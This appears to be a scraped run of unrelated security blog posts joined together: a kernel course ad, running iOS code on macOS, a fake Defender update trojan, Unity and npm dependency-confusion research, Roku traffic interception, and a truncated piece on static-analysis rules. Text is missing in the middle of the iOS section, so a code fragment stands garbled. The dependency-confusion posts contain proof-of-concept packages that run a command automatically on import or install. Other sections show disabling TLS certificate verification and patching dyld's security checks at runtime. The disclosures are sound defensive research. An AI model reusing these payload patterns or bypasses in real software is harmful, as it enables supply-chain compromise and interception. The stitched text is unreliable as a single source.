Today I’m announcing the next public remote Windows Kernel Programming training. This is a 5-day training scheduled for October: 4, 5, 7, 11, 13. Times: 12pm to 8pm, London Time.
The syllabus can be found here. It may be slightly modified by the time the class starts, but not by much. This is a development-heavy course, so be prepared to write lots of code!
Cost: 800 USD if paid by an individual, 1500 USD if paid by a company. Previous participants of the my classes get 10% discount. Multiple participants from the same company are entitled to a discount (email me for the details).
To register, send an email to [email protected] and specify “Windows Kernel Programming Training” in the title. The email should include your name, preferred email for communication, and company name (if any).
The training sessions will be recorded and provided to the participants.
Please read carefully the pre-requisites for this class. You should especially be comfortable coding in C (any C++ used in the class will be explained). In case of any doubt, talk to me. If you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).
This short post explains how code compiled for iOS can be run natively on Apple Silicon Macs.
With the introduction of Apple Silicon Macs, Apple also made it possible to run iOS apps natively on these Macs. This is fundamentally possible due to (1) iPhones and Apple Silicon Macs both using the arm64 instruction set architecture (ISA) and (2) macOS using a mostly compatible set of runtime libraries and frameworks while also providing /System/iOSSupport which contains the parts of the iOS runtime that do not exist on macOS. Due to this, it should be possible to run not just complete apps but also standalone iOS binaries or libraries on Mac. This might be interesting for a number of reasons, including:
It allows fuzzing closed-source code compiled for iOS on a Mac
It allows dynamic analysis of iOS code in a more “friendly” environment
This post explains how this can be achieved in practice. The corresponding code can be found here and allows executing arbitrary iOS binaries and library code natively on macOS. The tool assumes that SIP has been disabled and has been tested on macOS 11.2 and 11.3. With SIP enabled, certain steps will probably fail.
We originally developed this tool for fuzzing a 3rd-party iOS messaging app. While that particular project didn’t yield any interesting results, we are making the tool public as it could help lower the barrier of entry for iOS security research.
The Goal
The ultimate goal of this project is to execute code compiled for iOS natively on macOS. While it would be possible to achieve this goal (at least for some binaries/libraries) simply by swapping the platform identifier in the mach-o binary, our approach will instead use the existing infrastructure for running iOS apps on macOS. This has two benefits:
It will guarantee that all dependent system libraries of the iOS code will exist. In practice, this means that if a dependent library does not already exist on macOS, it will automatically be loaded from /System/iOSSupport instead
The runtime (OS services, frameworks, etc.) will, if necessary, emulate their iOS behavior since they will know that the process is an iOS one
To start, we’ll take a simple piece of C source code and compile it for iOS:
Attempting to execute the freshly compiled binary (on macOS 11.2) will simply result in
> ./hello
[1] 13699 killed ./hello
While the exit status informs us that the process was terminated through SIGKILL, it does not contain any additional information about the specific reason for that. However, it does seem likely that the process is terminated by the kernel during the execve(2) or posix_spawn(2) syscall. And indeed, the crash report generated by the system states:
Termination Reason: EXEC, [0xe] Binary with wrong platform
correct platform was passed in spawn\n", p->p_name);
}
}
#endif /* XNU_TARGET_OS_OSX */
…;
}
This code is active on macOS and will execute if the platform of the to-be-executed process is PLATFORM_IOS. In essence, the code checks for an undocumented posix_spawn attribute, psa_platform, and in the absence of it (or if its value is not PLATFORM_IOS), will terminate the process in the way we have previously observed.
As such, to avoid EXEC_EXIT_REASON_WRONG_PLATFORM, it should only be necessary to use the undocumented posix_spawnattr_set_platform_np syscall to set the target platform to PLATFORM_IOS, then invoke posix_spawn to execute the iOS binary:
No more SIGKILL, progress! Exit status 5 corresponds to SIGTRAP, which likely implies that the process is now terminating in userspace. And indeed, the crash report confirms that the process is crashing sometime during library initialization now.
Userspace
At this point we have a PLATFORM_IOSprocess running in macOS userspace. The next thing that now happens is that dyld, the dynamic linker, starts mapping all libraries that the binary depends on and executes any initializers they might have. Unfortunately, one of the first libraries now being initialized, libsystem_secinit.dylib, tries to determine whether it should initialize the app sandbox based on the binary’s platform and its entitlements. The logic is roughly:
initialize_app_sandbox = False
if entitlement(“com.apple.security.app-sandbox”) == True:
As such, libsystem_secinit will decide that it should initialize the app sandbox and will then contact secinitd(8), “the security policy initialization daemon”, to obtain a sandbox profile. As that daemon cannot determine the app corresponding to the process in question it will fail, and libsystem_secinit.dylib will then abort(3) the process:
As a side note, logic like the above will turn out to be a somewhat common theme: various components responsible for the runtime environment will have special handling for iOS binaries, in which case they tend to enforce various policies more aggressively.
One possible way to solve this would be to sign the iOS binary with a self-signed (and locally trusted) code signing certificate and granting it the “com.apple.private.security.no-sandbox” entitlement. This would then cause libsystem_secinit to not attempt to initialize the app sandbox. Unfortunately, it seems that while AppleMobileFileIntegrity (“amfi” - the OS component implementing various security policies like entitlement and code signing checks) will allow macOS binaries to be signed by locally-trusted code-signing certificates if SIP is disabled, it will not do so for iOS binaries. Instead, it appears to enforce roughly the same requirements as on iOS, namely that the binary must either be signed by Apple directly (in case the app is downloaded from the app store) or there must exist a valid (i.e. one signed by Apple) provisioning profile for the code-signing entity which explicitly allows the entitlements. As such, this path appears like a dead end.
Another way to work around the sandbox initialization would be to use dyld interposing to replace xpc_copy_entitlements_for_self, which libsystem_secinit invokes to obtain the process’ entitlements, with another function that would simply return the “com.apple.private.security.no-sandbox” entitlement. This would in turn prevent libsystem_secinit from attempting to initialize the sandbox.
Unfortunately, the iOS process is subject to further restrictions, likely part of the “hardened runtime” suite, which causes dyld to disable library interposing (some more information on this mechanism is available here). This policy is also implemented by amfi, in AppleMobileFileIntegrity.kext (the kernel component of amfi):
__int64 __fastcall macos_dyld_policy_library_interposing(proc *a1, int *a2)
{
int v3; // w8
v3 = *a2;
...
if ( (v3 & 0x10400) == 0x10000 ) // flag is set for iOS binaries
{
logDyldPolicyRejection(a1, "library interposing", "Denying library interposing for iOS app\n");
return 0LL;
}
return 64LL;
}
As can be seen, AMFI will deny library interposing for all iOS binaries. Unfortunately, I couldn’t come up with a better solution for this than to patch the code of dyld at runtime to ignore AMFI’s policy decision and thus allow library interposing. Fortunately though, doing lightweight runtime code patching is fairly easy through the use of some classic mach APIs:
Find the offset of _amfi_check_dyld_policy_self in /usr/lib/dyld, e.g. with nm(1)
Start the iOS process with the POSIX_SPAWN_START_SUSPENDED attribute so it is initially suspended (the equivalent of SIGSTOP). At this point, only dyld and the binary itself will have been mapped into the process’ memory space by the kernel.
Map dyld’s code section writable using vm_protect(VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY) (where VM_PROT_COPY is seemingly necessary to force the pages to be copied since they are shared)
Patch _amfi_check_dyld_policy_self through vm_write to simply return 0x5f (indicating that dyld interposing and other features should be allowed)
Map dyld’s code section executable again
To be able to use the task_for_pid trap, the runner binary will either need the “com.apple.security.cs.debugger” entitlement or root privileges. However, as the runner is a macOS binary, it can be given this entitlement through a self-signed certificate which amfi will then allow.
As such, the full steps necessary to launch an iOS binary on macOS are:
Use the posix_spawnattr_set_platform_np API to set the target platform to PLATFORM_IOS
Execute the new process via posix_spawn(2) and start it suspended
Patch dyld to allow library interposing
In the interposed library, claim to possess the com.apple.security.cs.debugger entitlement by replacing xpc_copy_entitlements_for_self
[*] Faking no-sandbox entitlement in xpc_copy_entitlements_for_self
Hello from an iOS binary!
[*] Child exited with status 0
Fuzzing
With the ability to launch iOS processes, it now becomes possible to fuzz existing iOS code natively on macOS as well. I decided to use Honggfuzz for a simple PoC of this that also used lightweight coverage guidance (based on the Trapfuzz instrumentation approach). The main issue with this approach is that honggfuzz uses the combination of fork(2) followed by execve(2) to create the child processes, while also performing various operations, such as dup2’ing file descriptors, setting environment variables, etc after forking but before exec’ing. However, the iOS binary must be executed through posix_spawn, which means that these operations must be performed at some other time. Furthermore, as honggfuzz itself is still compiled for macOS, some steps of the compilation of the target binary will fail (they will attempt to link previously compiled .o files, but now the platform no longer matches) and so have to be replaced. There are certainly better ways to do this (and I encourage the reader to implement it properly), but this was the approach that I got to work the quickest.
The hacky proof-of-concept patch for honggfuzz can be found here. In addition to building honggfuzz for arm64, the honggfuzz binary is subsequently signed and given the “com.apple.security.cs.debugger” entitlement in order for task_for_pid to work.
Conclusion
This blog post discussed how iOS apps are run on macOS and how that functionality can be used to execute any code compiled for iOS natively on macOS. This in turn can facilitate dynamic analysis and fuzzing of iOS code, and thus might make the platform a tiny bit more open for security researchers.
Attachment 1: runner.c
// clang -o runner runner.c
// cat <<EOF > entitlements.xml
// <?xml version="1.0" encoding="UTF-8"?>
// <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"\>
// <plist version="1.0">
// <dict>
// <key>com.apple.security.cs.debugger</key>
// <true/>
// </dict>
// </plist>
// EOF
// # Find available code signing identities using `security find-identity`
At the beginning of the month, Sentinel One disclosed five high severity vulnerabilities in Dell’s firmware update driver. As the described vulnerability appeared not too complicated to exploit, a lot of fellow security researchers started weaponizing it. I was one of, if not the first tweeting about weaponizing it into a _SEP_TOKEN_PRIVILEGES overwrite exploit, and […]
Scammers are increasingly using Windows Push Notifications to impersonate legitimate alerts
Recent campaigns pose as a Windows Defender Update
Victims end up allowing the installation of a malicious Windows Application that targets user and system information
Browser push notifications can highly resemble Windows system notifications. As recently discussed, scammers are abusing push notifications to trick users into taking action. This recent example demonstrates the social engineering tactics used to trick users into installing a fake Windows Defender update. A toaster popup in the tray informs the user of a Windows Defender Update.
Clicking the message takes the user to a fake update website.
The site serves a signed ms-appinstaller (MSIX) package. When downloaded and run, the user is prompted to install a supposed Defender Update from “Publisher: Microsoft”
After installation, the “Defender Update” App appears in the start menu like other Windows Apps.
The shortcut points to the installed malware: C:\Program Files\WindowsApps\245d1cf3-25fc-4ce1-9a58-7cd13f94923a_1.0.0.0_neutral__7afzw0tp1da5e\bloom\Eversible.exe, which is a data stealing trojan, targeting various applications and information:
System information (Process list, Drive details, Serial number, RAM, Graphics card details)
The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?
First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.
Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:
Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.
Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry?Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!
Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.
Creating a normal private package
First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files
includesec.jpeg
includesec.jpeg.meta
package.json
includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:
The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:
The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:
Creating a malicious package
The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:
Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:
using UnityEngine;
using UnityEditor;
[InitializeOnLoad]
public class MaliciousPackage {
static MaliciousPackage()
{
System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
}
}
I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.
Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:
I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:
Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?
It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).
Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.
Mitigation
How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:
Not pull from the public NPM registry at all, or…
If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry
We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.
The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.
Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.
The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.
You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.
Getting Burp to Work With Brightscript
As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.
Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:
To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.
In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:
Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:
urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()
Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.
This converts the cert from DER to PEM format:
$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem
The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:
urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()
It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:
Now the request can be proxied and shows up in Burp’s history:
With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.
For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:
Only deploy what you need in a channel, don’t deploy debug/test code.
Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.
Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.
Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post?
This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.
We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.
Here’s a quick summary for those that want to skip the technical details:
Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
[!] includesec-dependency-confusion
Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.
Dependency Confusion in npm
In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package.
npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack?
The answer is: npm itself isn’t, but a private package registry server might be!
Case Study: Verdaccio
Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it.
To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:
{
"name": "includesec-dependency-confusion",
"version": "1.0.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Nick Fox",
"license": "MIT"
}
Below is the package.json file for a basic application that depends on the vulnerable package:
{
"name": "vuln-app",
"version": "1.0.0",
"description": "A small app to demonstrate dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Nick Fox",
"license": "MIT",
"dependencies": {
"express": "^4.17.1",
"includesec-dependency-confusion": "^1.0.0"
}
}
The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.
Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:
GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close
HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare
{"error":"Not found"}
This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:
{
"name": "includesec-dependency-confusion",
"version": "1.1.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "c:\\windows\\system32\\calc.exe"
},
"author": "Nick Fox",
"license": "MIT"
}
Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:
GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close
HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close
…
"time":{
"created":"2021-02-16T14:50:23.935Z",
"1.1.0":"2021-02-16T14:50:24.067Z",
"modified":"2021-02-16T14:50:27.035Z"
},
"maintainers":[
{
"name":"njf-include",
"email":"[email protected]"
}
],
"description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"author":{
"name":"Nick Fox"
},
"license":"MIT",
"readme":"ERROR: No README data found!",
"readmeFilename":""
}
The following screenshot shows the malicious payload being executed on the client:
As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:
packages:
...
'**':
# allow all users (including non-authenticated users) to read and
# publish all packages
#
# you can specify usernames/groupnames (depending on your auth plugin)
# and three keywords: "$all", "$anonymous", "$authenticated"
access: $all
# allow all known users to publish/publish packages
# (anyone can register by default, remember?)
publish: $authenticated
unpublish: $authenticated
# if package is not available locally, proxy requests to 'npmjs' registry
proxy: npmjs
The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).
Mitigation on Verdaccio
So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:
This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:
After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:
GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873
HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267
{
"name": "includesec-dependency-confusion",
"versions": {
"1.0.0": {
"name": "includesec-dependency-confusion",
"version": "1.0.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
…
"dist-tags": {
"latest": "1.0.0"
},
"_rev": "3-dc1db45b944128de",
"_id": "includesec-dependency-confusion",
"readme": "ERROR: No README data found!",
"_attachments": {}
}
Additional Mitigation Steps
This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:
{
"name": "@includesec/dependency-confusion",
"version": "1.0.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Nick Fox",
"license": "MIT"
}
When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.
This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.
To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.
Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.
Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!
In application assessments you have to do the most effective work you can in the time period defined by the client to maximize the assurance you’re providing. At IncludeSec we’ve done a couple innovative things to improve the overall effectiveness of the work we do, and we’re always on the hunt for more ways to squeeze even more value into our assessments by finding more risks and finding them faster. One topic that we revisit frequently to ensure we’re doing the best we can to maximize efficiency is static analysis tooling (aka SAST.)
Recently we did a bit of a comparison example of two open source static analysis tools to automate detection of suspicious or vulnerable code patterns identified during assessments. In this post we discuss the experience of using Semgrep and Brakeman to create the same custom rule within each tool for a client’s Ruby on Rails assessment our team was assessing. We’re also very interested in trying out GitHub’s CodeQL, but unfortunately the Ruby support is still in development so that will have to wait for another time.
Semgrep is a pattern-matching tool that is semantically-aware and works with several languages (currently its Ruby support is marked as beta, so it is likely not at full maturity yet). Brakeman is a long-lived Rails-specific static-analysis tool, familiar to most who have worked with Rails security. Going in, I had no experience writing custom rules for either one.
This blog post is specifically about writing custom rules for code patterns that are particular to the project I’m assessing. First though I want to mention that both tools have some pre-built general rules for use with most Ruby/Rails projects — Brakeman has a fantastic set of built-in rules for Rails projects that has proven very useful on assessments (just make sure the developers of the project haven’t disabled rules in config/brakeman.yml, and yes we have seen developers do this to make SAST warnings go away!). Semgrep has an online registry of user-submitted rules for Ruby that is also handy (especially as examples for writing your own rules), but the current rule set for Ruby is not quite as extensive as Brakeman. In Brakeman the rules are known as “checks”, for consistency we’ll use the term “rules” for both tools, but you the reader can just keep that fact in mind.
First custom rule: Verification of authenticated functionality
I chose a simple pattern for the first rule I wanted to make, mainly to familiarize myself with the process of creating rules in both Semgrep and Brakeman. The application had controllers that handle non-API routes. These controllers enforced authentication by adding a before filter: before_action :login_required. Often in Rails projects, this line is included in a base controller class, then skipped when authentication isn’t required using skip_before_filter. This was not the case in the webapp I was looking at — the before filter was manually set in every single controller that needed authentication, which seemed error-prone as an overall architectural pattern, but alas it is the current state of the code base.
I wanted to get a list of any non-API controllers that lack this callback so I can ensure no functionality is unintentionally exposed without authentication. API routes handled authentication in a different way so consideration for them was not a priority for this first rule.
Semgrep
I went to the Semgrep website and found that Semgrep has a nice interactive tutorial, which walks you through building custom rules. I found it to be incredibly simple and powerful — after finishing the tutorial in about 20 minutes I thought I had all the knowledge I needed to make the rules I wanted. Although the site also has an online IDE for quick iteration I opted to develop locally, as the online IDE would require submitting our client’s code to a 3rd party which we obviously can’t do for security and liability reasons. The rule would eventually have to be run against the entire codebase anyways.
I encountered a few challenges when writing the rule:
It’s a little tricky to find things that do not match a pattern (e.g. lack of a login_required filter). You can’t just search all files for ones that don’t match, you have to have a pattern that it does search for, then exclude the cases matching your negative pattern. I was running into a bug here that made it even harder but the Semgrep team fixed it when we gave them a heads up!
